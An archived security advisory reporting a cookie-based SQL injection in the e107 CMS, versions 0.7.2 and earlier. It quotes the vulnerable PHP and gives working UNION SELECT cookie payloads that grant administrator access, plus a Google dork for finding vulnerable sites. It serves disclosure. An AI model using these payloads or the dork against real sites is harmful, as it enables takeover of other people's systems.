Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Apps :: b06-2204.htm

SQL-Injection in e107 allows attacker to become a site admininstrator



SQL-Injection in e107 allows attacker to become a site admininstrator
SQL-Injection in e107 allows attacker to become a site admininstrator



Software: e107 (CMS)=0D
=0D
Versions: <= 0.7.2=0D
=0D
Type:	SQL-injection=0D
	=0D
Homepage:	www.e107.org=0D 
=0D
=0D
=0D
Description:=0D
=0D
----------------------------=0D
=0D
SQL-Injection in e107 allows attacker to become a site admininstrator.=0D
=0D
=0D
Requirements:=0D
=0D
----------------------------=0D
=0D
Magic_quotes_gpc = Off=0D
=0D
=0D
Vulnerability:=0D
=0D
----------------------------=0D
=0D
Vulnerability has been found in processing the COOKIE.=0D
COOKIE use for authentification users and administrator.=0D
Data transfered to this parameter not are filtered.=0D
=0D
Code:=0D
=0D
----------------------------=0D
=0D
class2.php=0D
.....=0D
>       list($uid, $upw)=($_COOKIE[$pref['cookie_name']] ? explode(".",                   >  $_COOKIE[$pref['cookie_name']]) : explode(".", $_SESSION[$pref['cookie_name']]));=0D
.....=0D
=0D
>       if($result = get_user_data($uid, "AND md5(u.user_password)='{$upw}'", FALSE)) {=0D
.....=0D
=0D
=0D
=0D
Exploit:=0D
0.6.xxx=0D
=0D
1.blabla_hash_password' union select * from e107_user where user_id=1/*=0D
=0D
=0D
0.7.X=0D
=0D
1.blabla_hash_password' union select 1,'admin_d','admin',4,5,6,'some_user@some_hostcom',8,9,10,11,12,'1139995361','1140005365',15,16,17,18,19,20,21,22,23,24,'1',26,27,'0',29,30,31,32,33 /*=0D
=0D
Additional Information:=0D
=0D
-----------------------=0D
=0D
Google dorks: "Powered by e107"=0D
=0D
=0D
Vendor Status=0D
=0D
-------------=0D
=0D
The vendor is informed!=0D
=0D
=0D


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH